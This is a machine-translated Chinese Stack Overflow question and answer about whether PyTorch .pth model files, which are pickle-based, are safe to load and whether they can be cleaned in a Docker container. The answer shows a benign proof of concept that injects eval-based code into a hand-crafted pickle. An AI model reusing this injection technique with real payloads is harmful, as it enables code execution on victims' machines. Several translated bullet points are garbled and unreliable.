.pth文件是一种安全风险吗?我们如何清理它？

Question

众所周知，直接加载pickled文件是不安全的。然而，SE帖子上的建议得出结论，如果一个人不确定它的出处，基本上就不应该使用酸洗文件。

如果PyTorch机器学习模型以.pth文件的形式存储在Github上的公共repos上，我们想用它来进行推理，那该怎么办？例如，如果我有一个计划用torch.load(model.pth)加载的model.pth，是否有必要检查这样做是否安全？假设我别无选择，只能使用这个模型，那么应该如何检查它呢？

考虑到这些模型最终只是权重，我们可以做一些事情，比如用PyTorch创建一个最小的Docker容器，在里面加载模型，然后重新保存权重吗？这是必要的吗?我们应该做什么类型的检查(例如，假设在容器中装载是安全的，应该应用什么样的代码处理来清理模型以进行运输？)。

编辑:对要求澄清的回应:假设我有一个model.pth - (1)如果.pth只包含模型权重，我是否需要像对待.pkl一样小心使用它？或者我可以直接把它放到torch.load(model.pth)中吗？(2)如果我不能，在torch.load()之前我能做些什么来提供一些安心？

编辑2:答案应该特别关注ML预训练模型。一个例子:查看模型https://download.pytorch.org/models/resnet34-333f7ec4.pth (警告:从TorchHub下载80MB-请随意使用另一个Resnet .pth模型，但任何清理都需要相当快)。目前，我会下载它，然后使用load_state_dict将其加载到PyTorch中(例如，在这里详细解释)。如果我不知道这是一个安全的模型，我怎么能在将它加载到load_state_dict之前先尝试清理它呢？

  [1]: https://stackoverflow.com/questions/25353753/python-can-i-safely-unpickle-untrusted-data
  [2]: https://www.programmersought.com/article/95324315915/

Answer 1

正如@MobeusZoom所指出的，这是关于Pickle的答案，而不是PyTorch格式。无论如何，由于PyTorch load mechanism relies on Pickle behind the scene在此答案中得出的观察结果仍然适用。

TL;DR；

不要试图给泡菜消毒。信任或拒绝。

引用Marco Slaviero在他的演示Sour Pickle at the Black Hat USA 2011中的话。

真正的解决方案是：

• 不与不平等的可信方设置交换；
• 为交换的文件设置安全传输层；

还要注意的是，有一种新的基于AI的攻击，即使pickle是免费的外壳代码，当从不受信任的来源加载预先训练的网络时，您可能仍然有其他问题需要解决。

重要注意事项

从上面链接的演示文稿中，我们可以得出几个重要的注释：

• Pickle使用虚拟机重建实时数据(PVM与python进程同时发生)，这个虚拟机不是图灵完成的，但有:一个指令集(操作码)，一个用于执行的堆栈和一个托管对象数据的备忘录。这就足以让攻击者创建exploits.
• Pickle机制是向后兼容的，这意味着最新的protocol.
• Pickle可以解开其PVM的第一个版本，只要integrity.
• In不崩溃，就可以(重新)构造任何对象，在此机制中没有一致性检查来强制执行object integrity.
• In大体轮廓，Pickle允许攻击者在任何语言(包括python)中执行外壳代码，这些代码甚至可以持久存在后，受害者程序exits.
• Attacker一般都会伪造自己的pickle，因为它提供了更多的灵活性而不是天真地使用pickle机制。当然，他们可以使用pickle作为辅助程序来编写操作码序列。攻击者可以通过两种重要的方式手工创建恶意的pickle有效负载：
  • 预先准备好要首先执行的外壳代码，并保留PVM堆栈的干净。然后，在unpickling;
  • to将外壳代码插入到有效负载之后，你可能会得到一个普通的对象，所以它会在取消酸洗时执行，并可能与备忘录交互。那么未酸洗的对象可能会有额外的capabilities.

• 攻击者知道“安全卸载程序”，并知道如何绕过它们。

MCVE

在下面找到一个非常幼稚的MCVE来评估您的建议，以封装清理Docker容器中的可疑酸洗文件。我们将使用它来评估主要的相关风险。要知道，真正的漏洞利用会更高级、更复杂。

考虑下面的两个类，Normal是您期望解选的类：

# normal.py
class Normal:

    def __init__(self, config):
        self.__dict__.update(config)

    def __str__(self):
        return "<Normal %s>" % self.__dict__

而Exploit是其外壳代码的攻击者容器：

# exploit.py
class Exploit(object):

    def __reduce__(self):
        return (eval, ("print('P@wn%d!')",))

然后，攻击者可以使用pickle作为助手来生成中间有效负载，从而伪造最终的利用漏洞有效负载：

import pickle
from normal import Normal
from exploit import Exploit

host = Normal({"hello": "world"})
evil = Exploit()

host_payload = pickle.dumps(host, protocol=0) # b'c__builtin__\neval\np0\n(S"print(\'P@wn%d!\')"\np1\ntp2\nRp3\n.'
evil_payload = pickle.dumps(evil, protocol=0) # b'(i__main__\nNormal\np0\n(dp1\nS"hello"\np2\nS"world"\np3\nsb.'

在这一点上，攻击者可以手工创建一个特定的有效负载，以注入其外壳代码并返回数据。

with open("inject.pickle", "wb") as handler:
    handler.write(b'c__builtin__\neval\np0\n(S"print(\'P@wn%d!\')"\np1\ntp2\nRp3\n(i__main__\nNormal\np0\n(dp1\nS"hello"\np2\nS"world"\np3\nsb.')

现在，当受害者将反序列化恶意的pickle文件时，将执行利用漏洞攻击，并按预期返回有效对象：

from normal import Normal
with open("inject.pickle", "rb") as handler:
     data = pickle.load(handler)
print(data)

执行返回：

P@wn%d!
<Normal {'hello': 'world'}>

当然，外壳代码并不是很明显，你可能没有注意到它已经被执行了。

集装箱化清洁器

现在，让我们试着按照你的建议清理这个泡菜。我们将封装以下清理代码：

# cleaner.py
import pickle
from normal import Normal

with open("inject.pickle", "rb") as handler:
    data = pickle.load(handler)
print(data)

cleaned = Normal(data.__dict__)
with open("cleaned.pickle", "wb") as handler:
    pickle.dump(cleaned, handler)

with open("cleaned.pickle", "rb") as handler:
    recovered = pickle.load(handler)
print(recovered)

放入Docker镜像中，以尝试包含其执行。作为基准，我们可以这样做：

FROM python:3.9

ADD ./exploit ./
RUN chown 1001:1001 inject.pickle

USER 1001:1001

CMD ["python3", "./cleaner.py"]

然后我们构建镜像并执行它：

docker build -t jlandercy/doclean:1.0 .
docker run -v /home/jlandercy/exploit:/exploit jlandercy/doclean:1.0

还要确保包含利用漏洞的已装载文件夹具有受限的即席权限。

P@wn%d!
<Normal {'hello': 'world'}> # <-- Shellcode has been executed
<Normal {'hello': 'world'}> # <-- Shellcode has been removed

现在cleaned.pickle是免费的外壳代码。当然，在释放已清理好的泡菜之前，您需要仔细检查这一假设。

观察

正如您所看到的，Docker镜像在取消酸洗时不会阻止漏洞的执行，但在某种程度上可能有助于遏制漏洞。

注意事项有(不是详尽的)：

Docker容器有一个最新的原始协议的pickle文件是一个提示，但不是suspicious.

• Be意识到的东西的证据，即使是容器化的，你仍然在你的
• 上运行攻击者代码攻击者可能已经设计了其利用漏洞来破坏容器，使用非特权用户来降低风险；
  • 不要将任何网络绑定到这个容器，因为攻击者可以启动终端并通过网络接口(以及潜在的web)暴露它；
  • 可能根本不可用，具体取决于攻击者如何设计其漏洞利用数据。对于实例，如果__reduce__方法实际上返回了利用漏洞攻击，而不是重新创建所需实例的方法。毕竟，这样做的主要目的是让您解开它；
  • 如果您打算在加载可疑的pickle存档之后转储原始数据，则需要一个严格的过程来将数据从漏洞利用中分离出来；
  • 清理步骤可能是一个限制。它依赖于您从恶意负载重新创建目标对象的能力。这将取决于从pickle文件真正重建了什么，以及所需的对象构造函数需要如何parametrized;
  • Finally，如果您对清理过程有信心，则可以在容器退出后挂载一个卷来访问结果。